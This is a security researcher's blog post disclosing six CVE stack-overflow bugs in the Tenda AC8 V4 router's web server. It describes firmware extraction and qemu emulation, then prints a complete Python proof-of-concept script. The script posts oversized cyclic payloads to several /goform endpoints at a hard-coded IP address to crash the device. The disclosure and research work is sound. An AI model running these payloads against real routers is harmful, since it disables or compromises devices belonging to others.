Hacking a Router: Tenda AC8 V4 Stack Overflow & PoCs
By
February 15, 2024
Recently, I found the firmware of Tenda is available to the public, thus I started to seek vulnerabilities in it, mostly focused on buffer overflow & rce.
After hours and days of searching, examining, and reproducing; I was finally able to find 7 0day (mostly buffer overflows) from the Tenda AC8V4 firmware. After that, I submitted them to CVE.
Then another long time of waiting.... a few weeks later, I was finally able to acquire & disclose my CVE IDs.
They are
CVE-2023-33675,
CVE-2023-33673,
CVE-2023-33672,
CVE-2023-33671,
CVE-2023-33670,
CVE-2023-33669
With in the 6 vulnerability i submitted, 5 of them are sorted as critical (CVSS v3.0 9.8/10), and one sorted as high (CVSS v3.0 9=7.8/10).
From OpenCVE
Now, I decide to disclose a few details of reproduction and the entire PoC of those CVEs for educational purposes, let's get started!
Reproduction
To begin with, we can download the firmware of AC8v4 at here. (I am not sure if the vulnerable version is still the latest one when you see this)
After that, you will get a zipped file, unzip it, then you will get a Word file that teaches you how to install this on a physical machine and a .bin
file.
Then, use binwalk -Me US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin
to decompress the file into a normal file system for a router. Additionally, make sure you have already installed sasquatch
before this.
After that, cd _US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin.extracted/squashfs-root/
then you can see the file structure of the router, which should look like this:
❯ cd _US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin.extracted/squashfs-root
❯ ls
bin debug home mnt sys webroot
cfg dev include proc tmp webroot_ro
cfg_bak etc init root usr
data etc_ro lib sbin var
Our vulnerabilities take place at bin/httpd, a file that controls the web services of this route. We can use the file to briefly check the properties of this file
❯ file bin/httpd
bin/httpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel.so.1, stripped
As we can see here, the file is a 32-bit MIPS executable. Since most computer isn't using mips
for their arch, we will need qemu
to simulate the target architecture.
What is qemu?
QEMU, which stands for Quick Emulator, is a free and open-source hypervisor that performs hardware virtualization. It is a hosted virtual machine monitor: it emulates the machine's processor through dynamic binary translation and provides a set of different hardware and device models for the machine, enabling it to run a variety of operating systems.
QEMU can run without a host kernel driver and yet gives acceptable performance, thanks to dynamic translation. It supports a variety of target architectures, including but not limited to x86, ARM, MIPS, PowerPC, and SPARC, which makes it a versatile tool for developing, testing, or simply running software for different architectures.
And in Ubuntu, you can install qemu by sudo apt install qemu
.
In our case, it will be best if that we simulate only the httpd
file but not the whole file system. Because that the file is using mipsel, so we can use this command:
sudo qemu-mipsel-static -L . [YOUR_TARGET_FILE_PATH]
For us, it will be sudo qemu-mipsel-static -L . ./bin/httpd
and it should've works. But this came out
sudo qemu-mipsel-static -L . ./bin/httpd
Yes:
****** WeLoveLinux******
****** Welcome to ******
It seems like the program has been stuck here. But why??? after cross-referencing the string "Welcome to" in the httpd file, I found out that this is because httpd will run a function called check_network
before calling other essential functions. This means that we will have to patch the program. However, to save your time and mine, I will put the patched program here :) or you can try to patch the program by following this
After patching, we still need to create a bridge
in order for the httpd file in qemu to get our real ip address:
sudo brctl addbr br0
sudo brctl addif br0 eth0 <-[This should be your interface on ifconfig]
sudo ifconfig br0 up
sudo dhclient br0
After that, if you run the command again the the patched httpd file, it should pobably work and looks like this
✘ retr0@pwn ~/Mac-Pwn/squashfs-root sudo qemu-mipsel-static -L . ./bin/httpd_fixed
Yes:
****** WeLoveLinux******
****** Welcome to ******
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
[httpd][debug]----------------------------webs.c,158
httpd listen ip = 192.168.64.2 port = 80
webs: Listening for HTTP requests at address 192.168.64.2
After that, if you visit the ip shown, you will likely to see the webpage, if it shows 404 or etc, you can run cp -rf ./webroot_ro/* ./webroot/
to make sure all the files are in the correct positions
Should be looking like this :)
Exploiting
After that, we can start to exploit the vulnerabilities! However, I won't dig much deep into the details of those 6 overflows, you can checkout the details by searching those ids I mentioned previously in CVE or My github repo
PoCs
Here are the PoCs, PLEASE DO NOT USE IT AS ANY ILLEGAL PURPOSE
import requests
host = "110.72.19.76:8888"
cyclic = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau"
def exploit_WifiGuestSet():
url = f"http://{host}/goform/WifiGuestSet"
data = {
# b"shareSpeed":b'A'*0x800
b'shareSpeed':cyclic
}
res = requests.post(url=url,data=data)
print(res.content)
def exploit_sub_4a75c0():
url = f"http://{host}/goform/SetSysTimeCfg"
payload = b''
payload = payload.ljust(0x100,b'A') + b":" + cyclic
data = {
b"timeZone":payload
}
res = requests.post(url=url,data=data)
print(res.content)
def exploit_sub_4a79ec():
url = f"http://{host}/goform/SetSysTimeCfg"
payload = b''
# payload = payload.ljust(0x100,b'A') + b":" + b"A"*0x400
data = {
b"timeType":b"manual",
b"time":cyclic
}
res = requests.post(url=url,data=data)
print(res.content)
def exploit_saveParentControlInfo():
url = f"http://{host}/goform/saveParentControlInfo"
# Use the var44:deviceId
#Due to v0 = compare_parentcontrol_time(p0); TIME MUST NOT BE NULL
data = {
b"time":b"0",
b"deviceId":cyclic
}
res = requests.post(url=url,data=data)
print(res.content)
def exploit_get_parentControl_list_Info():
# To be clear, the difference between saveParentControlInfo and get_parentControl_list_Info
# is that we don't cause crash in saveParentControlInfo, but we do it in get_parentControl_list_Info
# by exploiting the var3c:time parameter, however, in saveParentControlInfo, we use var3c:time
# only to bypass the compare_parentcontrol_time(p0)
url = f"http://{host}/goform/saveParentControlInfo"
# Using the var3c:time
data = {
b"time":cyclic
}
res = requests.post(url=url,data=data)
print(res.content)
def exploit_formSetFirewallCfg():
url = f"http://{host}/goform/SetFirewallCfg"
data = {
b"firewallEn":cyclic
}
res = requests.post(url=url,data=data)
print(res.content)
def exploit_sub_44db3c():
url = f"http://{host}/goform/fast_setting_wifi_set"
payload = b''
payload = payload.ljust(0x100,b'A') + b":" + cyclic
data = {
b"ssid":b'1',
b"timeZone":payload
}
res = requests.post(url=url,data=data)
print(res.content)
def pwn():
pass
# exploit_get_parentControl_list_Info()
exploit_sub_44db3c()